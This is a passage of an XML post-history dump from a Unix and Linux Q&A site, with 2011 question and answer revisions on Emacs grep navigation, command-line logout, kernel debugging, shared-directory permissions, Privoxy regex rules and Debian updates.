  <row Id="22203" PostHistoryTypeId="5" PostId="9327" RevisionGUID="b48f6f47-821d-412e-9100-52284d6b2a80" CreationDate="2011-03-16T04:45:38.410" UserId="4319" Comment="Linked to the Emacs manual." Text="[&lt;kbd&gt;M-x&lt;/kbd&gt;` grep`](http://www.gnu.org/software/emacs/manual/html_node/emacs/Grep-Searching.html) in Emacs, then I can use [the usual keys](http://www.gnu.org/software/emacs/manual/html_node/emacs/Compilation-Mode.html) for following the found matches represented as links, and to switch between buffers back or whatever I want.&#xD;&#xA;&#xD;&#xA;One can also learn the specialized keys for jumping to the next match.&#xD;&#xA;&#xD;&#xA;The &quot;specialized&quot; key to jump immediately to the next found match is quite easy to remember: it's &lt;kbd&gt;M-g n&lt;/kbd&gt; (&lt;b&gt;g&lt;/b&gt;o to &lt;b&gt;n&lt;/b&gt;ext) (or &lt;kbd&gt;C-x \`&lt;/kbd&gt;) for `next-error`. `next-error` is a more general-purpose thing than just for `grep`; from the help (&lt;kbd&gt;C-h k M-g n&lt;/kbd&gt;):&#xD;&#xA;&#xD;&#xA;&gt; [It] normally uses the most recently started&#xD;&#xA;&gt; compilation, grep, or occur buffer.&#xD;&#xA;&#xD;&#xA;(Indeed, first I learned it for LaTeX &quot;compilation&quot;.)&#xD;&#xA;&#xD;&#xA;More of the general &quot;go to&quot; commands bound to keys in my Emacs (&lt;kbd&gt;M-g C-h&lt;/kbd&gt;):&#xD;&#xA;&#xD;&#xA;&lt;pre&gt;Global Bindings Starting With &lt;kbd&gt;M-g&lt;/kbd&gt;:&#xD;&#xA;key             binding&#xD;&#xA;---             -------&#xD;&#xA;&#xD;&#xA;&lt;kbd&gt;M-g ESC&lt;/kbd&gt;		Prefix Command&#xD;&#xA;&lt;kbd&gt;M-g g&lt;/kbd&gt;		&lt;code&gt;goto-line&lt;/code&gt;&#xD;&#xA;&lt;kbd&gt;M-g n&lt;/kbd&gt;		&lt;code&gt;next-error&lt;/code&gt;&#xD;&#xA;&lt;kbd&gt;M-g p&lt;/kbd&gt;		&lt;code&gt;previous-error&lt;/code&gt;&#xD;&#xA;&#xD;&#xA;&lt;kbd&gt;M-g M-g&lt;/kbd&gt;		&lt;code&gt;goto-line&lt;/code&gt;&#xD;&#xA;&lt;kbd&gt;M-g M-n&lt;/kbd&gt;		&lt;code&gt;next-error&lt;/code&gt;&#xD;&#xA;&lt;kbd&gt;M-g M-p&lt;/kbd&gt;		&lt;code&gt;previous-error&lt;/code&gt;&#xD;&#xA;&lt;/pre&gt;" />
  <row Id="22204" PostHistoryTypeId="25" PostId="9301" RevisionGUID="3816dcae-9b51-4199-ba0e-3900273c82dc" CreationDate="2011-03-16T05:31:19.517" Comment="http://twitter.com/#!/StackUnix/status/47892680356806656" />
  <row Id="22205" PostHistoryTypeId="5" PostId="9306" RevisionGUID="77c9c017-3f12-469d-82d7-97599c383aa1" CreationDate="2011-03-16T06:23:57.530" UserId="688" Comment="deleted 5 characters in body; edited tags; edited title" Text="By building from source do you gain any benefits? Is the code better optimized to your hardware architecture? Is it optimized better in general?&#xD;&#xA;&#xD;&#xA;Why would someone choose to build from source rather than using a package management system like APT/yum? If there is some kind of optimization gain when does that outweigh the benefit of a package management system?" />
  <row Id="22206" PostHistoryTypeId="4" PostId="9306" RevisionGUID="77c9c017-3f12-469d-82d7-97599c383aa1" CreationDate="2011-03-16T06:23:57.530" UserId="688" Comment="deleted 5 characters in body; edited tags; edited title" Text="What are the advantages of building tools/libs from source?" />
  <row Id="22207" PostHistoryTypeId="6" PostId="9306" RevisionGUID="77c9c017-3f12-469d-82d7-97599c383aa1" CreationDate="2011-03-16T06:23:57.530" UserId="688" Comment="deleted 5 characters in body; edited tags; edited title" Text="épackageömanagementàésourceàécompilingà" />
  <row Id="22208" PostHistoryTypeId="2" PostId="9328" RevisionGUID="2867c797-a992-48bc-a288-31d69d2917fe" CreationDate="2011-03-16T07:18:51.787" UserId="2179" Text="Part of the beauty of trying out alphas of operative systems is that things _will_ break, including things we take for granted. Today it's the turn of the logout button.&#xD;&#xA;&#xD;&#xA;So, how do you log out from the desktop environment _du jour_ from the command line?" />
  <row Id="22209" PostHistoryTypeId="1" PostId="9328" RevisionGUID="2867c797-a992-48bc-a288-31d69d2917fe" CreationDate="2011-03-16T07:18:51.787" UserId="2179" Text="How can I logout from a graphical environment from the command line?" />
  <row Id="22210" PostHistoryTypeId="3" PostId="9328" RevisionGUID="2867c797-a992-48bc-a288-31d69d2917fe" CreationDate="2011-03-16T07:18:51.787" UserId="2179" Text="écommandölineàélogoutàéxà" />
  <row Id="22211" PostHistoryTypeId="5" PostId="9328" RevisionGUID="1d824a77-024a-4731-91b2-cb4e810c8f10" CreationDate="2011-03-16T07:51:02.900" UserId="591" Comment="fixed typo (and added word to get over 6 char limit)" Text="Part of the beauty of trying out alpha releases of operating systems is that things _will_ break, including things we take for granted. Today it's the turn of the logout button.&#xD;&#xA;&#xD;&#xA;So, how do you log out from the desktop environment _du jour_ from the command line?" />
  <row Id="22212" PostHistoryTypeId="24" PostId="9328" RevisionGUID="1d824a77-024a-4731-91b2-cb4e810c8f10" CreationDate="2011-03-16T07:51:02.900" Comment="Proposed by 591 approved by 2179 edit id of 208" />
  <row Id="22213" PostHistoryTypeId="5" PostId="9327" RevisionGUID="e4030d70-1f0c-4deb-af46-80ad01bd486c" CreationDate="2011-03-16T08:23:09.183" UserId="4319" Comment="(minor) A somewhat better wording." Text="[&lt;kbd&gt;M-x&lt;/kbd&gt;` grep`](http://www.gnu.org/software/emacs/manual/html_node/emacs/Grep-Searching.html) in Emacs, then I can use [the usual keys](http://www.gnu.org/software/emacs/manual/html_node/emacs/Compilation-Mode.html) for following the links representing the found matches, and also the usual general-purpose Emacs keys for switching between buffers back and forth (or for whatever I want).&#xD;&#xA;&#xD;&#xA;One can also learn the specialized keys for jumping to the next match.&#xD;&#xA;&#xD;&#xA;The &quot;specialized&quot; key to jump immediately to the next found match is quite easy to remember: it's &lt;kbd&gt;M-g n&lt;/kbd&gt; (&lt;b&gt;g&lt;/b&gt;o to &lt;b&gt;n&lt;/b&gt;ext) (or &lt;kbd&gt;C-x \`&lt;/kbd&gt;) for `next-error`. `next-error` is a more general-purpose thing than just for `grep`; from the help (&lt;kbd&gt;C-h k M-g n&lt;/kbd&gt;):&#xD;&#xA;&#xD;&#xA;&gt; [It] normally uses the most recently started&#xD;&#xA;&gt; compilation, grep, or occur buffer.&#xD;&#xA;&#xD;&#xA;(Indeed, first I learned it for LaTeX &quot;compilation&quot;.)&#xD;&#xA;&#xD;&#xA;More of the general &quot;go to&quot; commands bound to keys in my Emacs (&lt;kbd&gt;M-g C-h&lt;/kbd&gt;):&#xD;&#xA;&#xD;&#xA;&lt;pre&gt;Global Bindings Starting With &lt;kbd&gt;M-g&lt;/kbd&gt;:&#xD;&#xA;key             binding&#xD;&#xA;---             -------&#xD;&#xA;&#xD;&#xA;&lt;kbd&gt;M-g ESC&lt;/kbd&gt;		Prefix Command&#xD;&#xA;&lt;kbd&gt;M-g g&lt;/kbd&gt;		&lt;code&gt;goto-line&lt;/code&gt;&#xD;&#xA;&lt;kbd&gt;M-g n&lt;/kbd&gt;		&lt;code&gt;next-error&lt;/code&gt;&#xD;&#xA;&lt;kbd&gt;M-g p&lt;/kbd&gt;		&lt;code&gt;previous-error&lt;/code&gt;&#xD;&#xA;&#xD;&#xA;&lt;kbd&gt;M-g M-g&lt;/kbd&gt;		&lt;code&gt;goto-line&lt;/code&gt;&#xD;&#xA;&lt;kbd&gt;M-g M-n&lt;/kbd&gt;		&lt;code&gt;next-error&lt;/code&gt;&#xD;&#xA;&lt;kbd&gt;M-g M-p&lt;/kbd&gt;		&lt;code&gt;previous-error&lt;/code&gt;&#xD;&#xA;&lt;/pre&gt;" />
  <row Id="22214" PostHistoryTypeId="2" PostId="9329" RevisionGUID="a5a4f2d7-0c02-4b3c-a07d-18e97bfa6390" CreationDate="2011-03-16T08:30:36.850" UserId="4335" Text="`/usr/bin/gnome-session-save --kill` works for me on Fedora 15 Alpha with gnome as my DE. Hope that helps." />
  <row Id="22215" PostHistoryTypeId="5" PostId="9327" RevisionGUID="0485318a-0f12-41d4-be6a-6f4605a256cc" CreationDate="2011-03-16T08:30:39.423" UserId="4319" Comment="(minor) A somewhat better wording." Text="[&lt;kbd&gt;M-x&lt;/kbd&gt;` grep`](http://www.gnu.org/software/emacs/manual/html_node/emacs/Grep-Searching.html) in Emacs, then I can use [the usual keys](http://www.gnu.org/software/emacs/manual/html_node/emacs/Compilation-Mode.html) for following the links representing the found matches, and also the usual general-purpose Emacs keys for switching between buffers back and forth (or for whatever I want).&#xD;&#xA;&#xD;&#xA;One can also learn the specialized keys for jumping to the next match.&#xD;&#xA;&#xD;&#xA;The &quot;specialized&quot; key to jump immediately to the next found match is quite easy to remember: it's &lt;kbd&gt;M-g n&lt;/kbd&gt; (&lt;b&gt;g&lt;/b&gt;o to &lt;b&gt;n&lt;/b&gt;ext) (or &lt;kbd&gt;C-x \`&lt;/kbd&gt;) for `next-error`. `next-error` is a command that is more general-purpose than just for `grep`; from the help (per &lt;kbd&gt;C-h k M-g n&lt;/kbd&gt;):&#xD;&#xA;&#xD;&#xA;&gt; [It] normally uses the most recently started&#xD;&#xA;&gt; compilation, grep, or occur buffer.&#xD;&#xA;&#xD;&#xA;(Indeed, first I learned it for LaTeX &quot;compilation&quot;.)&#xD;&#xA;&#xD;&#xA;More of the general &quot;go to&quot; commands bound to keys in my Emacs (as per &lt;kbd&gt;M-g C-h&lt;/kbd&gt;):&#xD;&#xA;&#xD;&#xA;&lt;pre&gt;Global Bindings Starting With &lt;kbd&gt;M-g&lt;/kbd&gt;:&#xD;&#xA;key             binding&#xD;&#xA;---             -------&#xD;&#xA;&#xD;&#xA;&lt;kbd&gt;M-g ESC&lt;/kbd&gt;		Prefix Command&#xD;&#xA;&lt;kbd&gt;M-g g&lt;/kbd&gt;		&lt;code&gt;goto-line&lt;/code&gt;&#xD;&#xA;&lt;kbd&gt;M-g n&lt;/kbd&gt;		&lt;code&gt;next-error&lt;/code&gt;&#xD;&#xA;&lt;kbd&gt;M-g p&lt;/kbd&gt;		&lt;code&gt;previous-error&lt;/code&gt;&#xD;&#xA;&#xD;&#xA;&lt;kbd&gt;M-g M-g&lt;/kbd&gt;		&lt;code&gt;goto-line&lt;/code&gt;&#xD;&#xA;&lt;kbd&gt;M-g M-n&lt;/kbd&gt;		&lt;code&gt;next-error&lt;/code&gt;&#xD;&#xA;&lt;kbd&gt;M-g M-p&lt;/kbd&gt;		&lt;code&gt;previous-error&lt;/code&gt;&#xD;&#xA;&lt;/pre&gt;" />
  <row Id="22216" PostHistoryTypeId="2" PostId="9330" RevisionGUID="0f2dd421-e57e-447d-a57e-42b74ccfa1d6" CreationDate="2011-03-16T08:31:16.607" UserId="5763" Text="I have been working in embedded OS like uCOS, ThreadX. While i have coded apps in Linux, now i'm planning to start learning Linux Kernel. I have few questions regarding the environment.&#xD;&#xA;&#xD;&#xA;1. Which is best distro, which has easy to use tools for kernel development ? ( so far i had used RHEL and Fedora. While i am comfortable with these, it also looks like Ubuntu has in-built scripts for easy kernel compilation like 'make_kpkg'..etc.)&#xD;&#xA;&#xD;&#xA;2. Can you describe the best setup for kernel debugging ? While debugging other embedded OSes, i have used serial port to dump progress,JTAG..etc. Which kind of setup does linux kernel devs use ? ( Will my testbed pc with serial port enough for my needs ? if yes, how to configure kernel to dump to serial port ?) I'm planning to redirect kernel messages to serial console which will be read in my laptop.&#xD;&#xA;&#xD;&#xA;3. What tool is best for debugging and tracing kernel code ? as mentioned earlier is serial console the only way ? or any IDE / JTAG kind of interface exists for PC ? " />
  <row Id="22217" PostHistoryTypeId="1" PostId="9330" RevisionGUID="0f2dd421-e57e-447d-a57e-42b74ccfa1d6" CreationDate="2011-03-16T08:31:16.607" UserId="5763" Text="Kernel Hacking Environment" />
  <row Id="22218" PostHistoryTypeId="3" PostId="9330" RevisionGUID="0f2dd421-e57e-447d-a57e-42b74ccfa1d6" CreationDate="2011-03-16T08:31:16.607" UserId="5763" Text="élinuxàékernelàédebuggingàédevelopmentà" />
  <row Id="22219" PostHistoryTypeId="25" PostId="9328" RevisionGUID="c15ea128-5cf3-47ac-ac92-ecb502c4dfcb" CreationDate="2011-03-16T08:31:19.720" Comment="http://twitter.com/#!/StackUnix/status/47937979582390272" />
  <row Id="22220" PostHistoryTypeId="2" PostId="9331" RevisionGUID="8ced8564-826d-41fc-9dd7-f44399199fa5" CreationDate="2011-03-16T08:40:06.740" UserId="5764" Text="Hi,&#xD;&#xA;&#xD;&#xA;The setup is we have a VPS running Debian Squeeze, and I've set up a shared directory for us to share files.  So far I've followed this guide:&#xD;&#xA;&#xD;&#xA;http://www.cyberciti.biz/faq/linux-setup-shared-directory/&#xD;&#xA;&#xD;&#xA;I've also set the umask to 002 correctly (see the comments on that guide), so we can both now create files and directories directly on the server and we both have read/write permissions on them.&#xD;&#xA;&#xD;&#xA;The only problem is that a lot of our files are created on our local machines (both running Ubuntu 10.10), and then dumped on the server.  This results in only the creator of the file/directory having write permissions on, and the other member of the group I set up for sharing this folder only having read access.&#xD;&#xA;&#xD;&#xA;My next thought would be to change the default umask on our local machines, but it seems a bit extreme to have to do that, and I don't know if it's a security risk.&#xD;&#xA;&#xD;&#xA;Can someone tell me if there's a better solution to what I'm trying to achieve, or if this really is the way to go?&#xD;&#xA;&#xD;&#xA;Many thanks in advance" />
  <row Id="22221" PostHistoryTypeId="1" PostId="9331" RevisionGUID="8ced8564-826d-41fc-9dd7-f44399199fa5" CreationDate="2011-03-16T08:40:06.740" UserId="5764" Text="Permissions issues for shared directory on a server" />
  <row Id="22222" PostHistoryTypeId="3" PostId="9331" RevisionGUID="8ced8564-826d-41fc-9dd7-f44399199fa5" CreationDate="2011-03-16T08:40:06.740" UserId="5764" Text="éubuntuàédebianàépermissionsàéserveràéfileösharingà" />
  <row Id="22223" PostHistoryTypeId="2" PostId="9332" RevisionGUID="9f4f7174-7731-4ee8-8ca9-2efe4b39914f" CreationDate="2011-03-16T08:57:26.033" UserId="872" Text="I would like to create a &quot;`/dev/null`&quot; directory (or a &quot;blackhole&quot; directory) such that any files written to it are not really written, but just disappear. &#xD;&#xA;&#xD;&#xA;I have an application that writes out large temporary files to a directory. I have no control over the name of the files and I don't really care about the content of these files. I could write a script that periodically clobbers these files, but the files are written out very quickly and fill my disk. I'm looking for something cleverer. I want the application to &quot;think&quot; that it is writing out these files, when in fact, the writes are just being discarded at the other end." />
  <row Id="22224" PostHistoryTypeId="1" PostId="9332" RevisionGUID="9f4f7174-7731-4ee8-8ca9-2efe4b39914f" CreationDate="2011-03-16T08:57:26.033" UserId="872" Text="a /dev/null directory" />
  <row Id="22225" PostHistoryTypeId="3" PostId="9332" RevisionGUID="9f4f7174-7731-4ee8-8ca9-2efe4b39914f" CreationDate="2011-03-16T08:57:26.033" UserId="872" Text="édirectoryàéunixàéioöredirectionà" />
  <row Id="22226" PostHistoryTypeId="2" PostId="9333" RevisionGUID="a55435aa-b5c0-4405-964d-b530291f6ee7" CreationDate="2011-03-16T09:06:25.893" UserId="863" Text="[This question](http://unix.stackexchange.com/questions/3322/what-makes-osx-programs-not-runnable-on-linux) answers why Linux can't run OSX apps, but is there some application similar to Wine that allows one to do so?" />
  <row Id="22227" PostHistoryTypeId="1" PostId="9333" RevisionGUID="a55435aa-b5c0-4405-964d-b530291f6ee7" CreationDate="2011-03-16T09:06:25.893" UserId="863" Text="Is there something like wine to run OSX apps on linux?" />
  <row Id="22228" PostHistoryTypeId="3" PostId="9333" RevisionGUID="a55435aa-b5c0-4405-964d-b530291f6ee7" CreationDate="2011-03-16T09:06:25.893" UserId="863" Text="élinuxàéosxàécompatibilityà" />
  <row Id="22229" PostHistoryTypeId="2" PostId="9334" RevisionGUID="5314afbb-15c3-495f-80e7-bff54197d994" CreationDate="2011-03-16T09:09:10.687" UserId="863" Text="Since Windows still does not offer means to skip rewriting the MBR, what can I do _before_ reinstalling Windows to get Grub2 back into the MBR as easy as possible? (I'll also appreciate it if the answer then describes _how_ to restore Grub)" />
  <row Id="22230" PostHistoryTypeId="1" PostId="9334" RevisionGUID="5314afbb-15c3-495f-80e7-bff54197d994" CreationDate="2011-03-16T09:09:10.687" UserId="863" Text="What preparations should I make before reinstalling windows?" />
  <row Id="22231" PostHistoryTypeId="3" PostId="9334" RevisionGUID="5314afbb-15c3-495f-80e7-bff54197d994" CreationDate="2011-03-16T09:09:10.687" UserId="863" Text="éwindowsàégrub2àéreinstallà" />
  <row Id="22232" PostHistoryTypeId="5" PostId="9325" RevisionGUID="9b5f00dc-1cf5-4978-bc17-60f7ce2f2583" CreationDate="2011-03-16T09:23:31.497" UserId="4319" Comment="Improve English, so that the meaning of the question is a bit easier to understand." Text="Algorithmic blackout:&#xD;&#xA;&#xD;&#xA;0. problem: find the files that match&#xD;&#xA;1. problem: stack/buffer the matches&#xD;&#xA;2. move the cursor to the next file of the stack and thereby to the location of the match&#xD;&#xA;3. repeat step 2&#xD;&#xA;&#xD;&#xA;Things I have used earlier to tackle the issue.&#xD;&#xA;&#xD;&#xA;**Vi/m: (some small thing missing)**&#xD;&#xA;&#xD;&#xA;    :grep -r &quot;[^|]*|[^|]*|[^|]*|.*&quot; * &#xD;&#xA;    &lt;edit something&gt;&#xD;&#xA;    :cn&#xD;&#xA;    &lt;edit something&gt;&#xD;&#xA;    :cn&#xD;&#xA;    &lt;damn forgot it&gt;&#xD;&#xA;    :pn&#xD;&#xA;    &lt;forward and so on&gt;&#xD;&#xA;&#xD;&#xA;**emacs:** `M-x grep Enter` and then to have `grep  -r &quot;[^|]*|[^|]*|[^|]*|.*&quot; *` but now in mystery. How can you do the fast hierarchial edits? &#xD;&#xA;&#xD;&#xA;&#xD;&#xA;**shellesque:** then I once created a wild one-liner with some grep-xargs-something-things-vi but I am starting to smell reinventing-the-wheel.&#xD;&#xA;&#xD;&#xA;Sorry about the vim/emacs juxtaposition but I don't care which tool you use, use the most convenient (xargs/emacs/vi/m just examples)." />
  <row Id="22233" PostHistoryTypeId="4" PostId="9325" RevisionGUID="9b5f00dc-1cf5-4978-bc17-60f7ce2f2583" CreationDate="2011-03-16T09:23:31.497" UserId="4319" Comment="Improve English, so that the meaning of the question is a bit easier to understand." Text="The cursor to a match, edit, the cursor to the next match, edit -- like in a directory?" />
  <row Id="22234" PostHistoryTypeId="24" PostId="9325" RevisionGUID="9b5f00dc-1cf5-4978-bc17-60f7ce2f2583" CreationDate="2011-03-16T09:23:31.497" Comment="Proposed by 4319 approved by -1 edit id of 209" />
  <row Id="22235" PostHistoryTypeId="5" PostId="9325" RevisionGUID="e7de0103-157b-46ba-bef0-a16de40c4fea" CreationDate="2011-03-16T09:23:31.807" UserId="2362" Comment="added 43 characters in body" Text="Algorithmic blackout:&#xD;&#xA;&#xD;&#xA;0. problem: find the files that match&#xD;&#xA;1. problem: stack/buffer the matches&#xD;&#xA;2. move the cursor to the next file of the stack and thereby to the location of the match&#xD;&#xA;3. repeat step 2&#xD;&#xA;&#xD;&#xA;Things I have used earlier to tackle the issue.&#xD;&#xA;&#xD;&#xA;**Vi/m: (the below works in an ubuntu server, perhaps configured by sysadmin)**&#xD;&#xA;&#xD;&#xA;    :grep -r &quot;[^|]*|[^|]*|[^|]*|.*&quot; * &#xD;&#xA;    &lt;edit something&gt;&#xD;&#xA;    :cn&#xD;&#xA;    &lt;edit something&gt;&#xD;&#xA;    :cn&#xD;&#xA;    &lt;damn forgot it&gt;&#xD;&#xA;    :bn&#xD;&#xA;    &lt;forward and so on&gt;&#xD;&#xA;&#xD;&#xA;**emacs:** `M-x grep Enter` and then to have `grep  -r &quot;[^|]*|[^|]*|[^|]*|.*&quot; *` but now in mystery. How can you do the fast hierarchial edits? &#xD;&#xA;&#xD;&#xA;&#xD;&#xA;**shellesque:** then I once created a wild one-liner with some grep-xargs-something-things-vi but I am starting to smell reinventing-the-wheel.&#xD;&#xA;&#xD;&#xA;Sorry about the vim/emacs juxtaposition but I don't care which tool you use, use the most convenient (xargs/emacs/vi/m just examples)." />
  <row Id="22236" PostHistoryTypeId="2" PostId="9335" RevisionGUID="3c173884-3a98-4a9e-bc37-a67bc0b2fe5a" CreationDate="2011-03-16T09:31:50.847" UserId="688" Text="Transmission has the [LPD][1] feature, which seems quite useful. I was surprised that it wasn't enabled by default though, so I became concerned about any potential issues it might have.&#xD;&#xA;&#xD;&#xA;&#xD;&#xA;  [1]: http://en.wikipedia.org/wiki/Local_Peer_Discovery" />
  <row Id="22237" PostHistoryTypeId="1" PostId="9335" RevisionGUID="3c173884-3a98-4a9e-bc37-a67bc0b2fe5a" CreationDate="2011-03-16T09:31:50.847" UserId="688" Text="Why is LPD not enabled by default in Transmission?" />
  <row Id="22238" PostHistoryTypeId="3" PostId="9335" RevisionGUID="3c173884-3a98-4a9e-bc37-a67bc0b2fe5a" CreationDate="2011-03-16T09:31:50.847" UserId="688" Text="éfileötransferà" />
  <row Id="22239" PostHistoryTypeId="2" PostId="9336" RevisionGUID="f174bcdd-bc28-4411-88fb-96b63cbd513a" CreationDate="2011-03-16T09:39:26.470" UserId="5664" Text="how can i whitelist these URLs in Privoxy?&lt;br&gt;&#xD;&#xA;&#xD;&#xA;	http://foo.org/user/10000/track?page=1&#xD;&#xA;	http://foo.org/user/10000/track?page=2&#xD;&#xA;	http://foo.org/user/10000/track?page=3&#xD;&#xA;	http://foo.org/user/10000/track?page=4&#xD;&#xA;	...&#xD;&#xA;&#xD;&#xA;I don't want to whitelist &quot;foo.org&quot; i just need to whitelist these specific url's.&lt;br&gt;&#xD;&#xA;the &quot;page=NUMBER&quot; where NUMBER=1..99999999 [so it's a big number, i don't know exactly how much]&lt;br&gt;&#xD;&#xA;What do i need to write in the &quot;user.action&quot; file? :\&#xD;&#xA;&lt;br&gt;" />
  <row Id="22240" PostHistoryTypeId="1" PostId="9336" RevisionGUID="f174bcdd-bc28-4411-88fb-96b63cbd513a" CreationDate="2011-03-16T09:39:26.470" UserId="5664" Text="How to whitelist an URL in Privoxy (with a little regexp)" />
  <row Id="22241" PostHistoryTypeId="3" PostId="9336" RevisionGUID="f174bcdd-bc28-4411-88fb-96b63cbd513a" CreationDate="2011-03-16T09:39:26.470" UserId="5664" Text="élinuxàéprivoxyà" />
  <row Id="22242" PostHistoryTypeId="2" PostId="9337" RevisionGUID="c463ed29-4d43-4a3f-a249-60e1351e9114" CreationDate="2011-03-16T09:40:40.267" UserId="5756" Text="I experienced many problems while I use mdadm, but never lose data.&#xD;&#xA;You should avoid the --force option, or use very carefully, becasuse you can lose all of your data.&#xD;&#xA;Please post your /etc/mdadm/mdadm.conf" />
  <row Id="22243" PostHistoryTypeId="2" PostId="9338" RevisionGUID="58a46f51-c331-4c0e-a19a-03160e54b03c" CreationDate="2011-03-16T09:56:27.913" UserId="1946" Text="If the program is so stupid to not let you switch those logs off, may be it also doesn't check for errors after opening a log file?  I'd try mounting some dummy read-only file system (e.g. using `mount -o loop`.)" />
  <row Id="22244" PostHistoryTypeId="2" PostId="9339" RevisionGUID="4fea3a1c-119d-4aef-bef5-576b757fa484" CreationDate="2011-03-16T10:01:36.280" UserId="5664" Text="I know how to swap something with something with privoxy, e.g: &lt;br&gt;&#xD;&#xA;&#xD;&#xA;	s/class=&quot;node ad&quot;/class=&quot;node ad&quot; style=&quot;display:none&quot;/g&#xD;&#xA;&#xD;&#xA;But: how can i delete a line with privoxy? E.g.: If a line contains: &lt;br&gt;&#xD;&#xA;&#xD;&#xA;	RANDOM STRING BEFORE&lt;a href=&quot;/forum/100&quot;&gt;Offtopic&lt;/a&gt;&lt;/td&gt;RANDOM STRING AFTER&#xD;&#xA;&#xD;&#xA;then what should i write in the user.action file to delete the line?&lt;br&gt;&#xD;&#xA;&lt;br&gt;&#xD;&#xA;Thank you!&lt;br&gt;" />
  <row Id="22245" PostHistoryTypeId="1" PostId="9339" RevisionGUID="4fea3a1c-119d-4aef-bef5-576b757fa484" CreationDate="2011-03-16T10:01:36.280" UserId="5664" Text="How to delete line with Privoxy?" />
  <row Id="22246" PostHistoryTypeId="3" PostId="9339" RevisionGUID="4fea3a1c-119d-4aef-bef5-576b757fa484" CreationDate="2011-03-16T10:01:36.280" UserId="5664" Text="élinuxàéprivoxyà" />
  <row Id="22247" PostHistoryTypeId="5" PostId="9332" RevisionGUID="7fa53207-6b97-49b6-8b84-b042fec88d77" CreationDate="2011-03-16T10:04:32.477" UserId="872" Comment="added 120 characters in body" Text="I would like to create a &quot;`/dev/null`&quot; directory (or a &quot;blackhole&quot; directory) such that any files written to it are not really written, but just disappear. &#xD;&#xA;&#xD;&#xA;I have an application that writes out large temporary files to a directory. I have no control over the name of the files and I don't really care about the content of these files. I could write a script that periodically clobbers these files, but the files are written out very quickly and fill my disk. I'm looking for something cleverer. I want the application to &quot;think&quot; that it is writing out these files, when in fact, the writes are just being discarded at the other end.&#xD;&#xA;&#xD;&#xA;Also see [this][1] old related thread.&#xD;&#xA;&#xD;&#xA;[1]: http://linux.derkeiler.com/Mailing-Lists/Kernel/2008-02/msg07024.html" />
  <row Id="22248" PostHistoryTypeId="2" PostId="9340" RevisionGUID="053d5333-43e5-4e24-8318-353e661ea25b" CreationDate="2011-03-16T10:46:25.687" UserId="5766" Text="I don't know Privoxy but judging form the replacement statements above this one *could* work:&#xD;&#xA;&#xD;&#xA;    s/^.*&lt;a href=&quot;/forum/100&quot;&gt;Offtopic&lt;/a&gt;&lt;/td&gt;.*$/" />
  <row Id="22249" PostHistoryTypeId="2" PostId="9341" RevisionGUID="7efa50da-4890-47b2-8330-1362064c07b1" CreationDate="2011-03-16T10:49:48.227" UserId="4648" Text="You may want to read up on regular expressions. The line you posted is a regular expression:&#xD;&#xA;&#xD;&#xA;    s/class=&quot;node ad&quot;/class=&quot;node ad&quot; style=&quot;display:none&quot;/g&#xD;&#xA;&#xD;&#xA;It means &quot;replace every occurrence of the first string with the second one&quot;.&#xD;&#xA;&#xD;&#xA;If you want to delete something, you can just leave the second string empty, like so:&#xD;&#xA;&#xD;&#xA;    s/class=&quot;node ad&quot;//g&#xD;&#xA;&#xD;&#xA;This would remove all occurrences of that string.&#xD;&#xA;&#xD;&#xA;If you want to match a whole line, you could use:&#xD;&#xA;&#xD;&#xA;    s/^.*some_string.*$//g&#xD;&#xA;&#xD;&#xA;Where `^` is a special character meaning &quot;beginning of line&quot;, `$` means &quot;end of line&quot;, `.` means any character and `*` means zero or more repetitions of that character.&#xD;&#xA;&#xD;&#xA;So it would match &quot;zero or more repetitions of any character&quot;, then &quot;some_string&quot;, and then &quot;zero or more repetitions of any character&quot; again (which should achieve what you want).&#xD;&#xA;&#xD;&#xA;[Here's a good introduction to regular expressions if you want to learn more.][1]&#xD;&#xA;&#xD;&#xA;  [1]: http://www.regular-expressions.info/" />
  <row Id="22250" PostHistoryTypeId="5" PostId="9325" RevisionGUID="2bbbc9d5-253b-4ac6-b44c-57936484b2d8" CreationDate="2011-03-16T10:51:36.907" UserId="2362" Comment="added 31 characters in body" Text="Algorithmic blackout:&#xD;&#xA;&#xD;&#xA;0. problem: find the files that match&#xD;&#xA;1. problem: stack/buffer the matches&#xD;&#xA;2. move the cursor to the next file of the stack and thereby to the location of the match&#xD;&#xA;3. repeat step 2&#xD;&#xA;&#xD;&#xA;Things I have used earlier to tackle the issue.&#xD;&#xA;&#xD;&#xA;**Vi/m: (the below works in an ubuntu server, perhaps configured by sysadmin but cannot get it work locally)**&#xD;&#xA;&#xD;&#xA;    :grep -r &quot;[^|]*|[^|]*|[^|]*|.*&quot; * &#xD;&#xA;    &lt;edit something&gt;&#xD;&#xA;    :cn&#xD;&#xA;    &lt;edit something&gt;&#xD;&#xA;    :cn&#xD;&#xA;    &lt;damn forgot it&gt;&#xD;&#xA;    :bn&#xD;&#xA;    &lt;forward and so on&gt;&#xD;&#xA;&#xD;&#xA;**emacs:** `M-x grep Enter` and then to have `grep  -r &quot;[^|]*|[^|]*|[^|]*|.*&quot; *` but now in mystery. How can you do the fast hierarchial edits? &#xD;&#xA;&#xD;&#xA;&#xD;&#xA;**shellesque:** then I once created a wild one-liner with some grep-xargs-something-things-vi but I am starting to smell reinventing-the-wheel.&#xD;&#xA;&#xD;&#xA;Sorry about the vim/emacs juxtaposition but I don't care which tool you use, use the most convenient (xargs/emacs/vi/m just examples)." />
  <row Id="22251" PostHistoryTypeId="2" PostId="9342" RevisionGUID="13abe7b3-8b80-4b83-8d1d-bd1d5c23affb" CreationDate="2011-03-16T10:52:29.737" UserId="5766" Text="    http://foo.org/user/10000/track?page=[0-9]+&#xD;&#xA;&#xD;&#xA;Should work" />
  <row Id="22252" PostHistoryTypeId="2" PostId="9343" RevisionGUID="3c04d64b-d182-4c3a-ac0f-388ff1094a86" CreationDate="2011-03-16T10:52:32.367" UserId="688" Text="Ever since release day (early Feb 2011), I haven't got any updates (`apt-get update &amp;&amp; apt-get upgrade`). I've tried another repository (`ftp://ftp.de.debian.org/debian`), and it's the same thing.&#xD;&#xA;&#xD;&#xA;&#xD;&#xA;Here's the relevant line from my **/etc/apt/sources.list**:&#xD;&#xA;&#xD;&#xA;    deb ftp://ftp.is.co.za/debian stable main non-free contrib&#xD;&#xA;" />
  <row Id="22253" PostHistoryTypeId="1" PostId="9343" RevisionGUID="3c04d64b-d182-4c3a-ac0f-388ff1094a86" CreationDate="2011-03-16T10:52:32.367" UserId="688" Text="How often does Debian update its Stable repository?" />
  <row Id="22254" PostHistoryTypeId="3" PostId="9343" RevisionGUID="3c04d64b-d182-4c3a-ac0f-388ff1094a86" CreationDate="2011-03-16T10:52:32.367" UserId="688" Text="édebianàéaptà" />
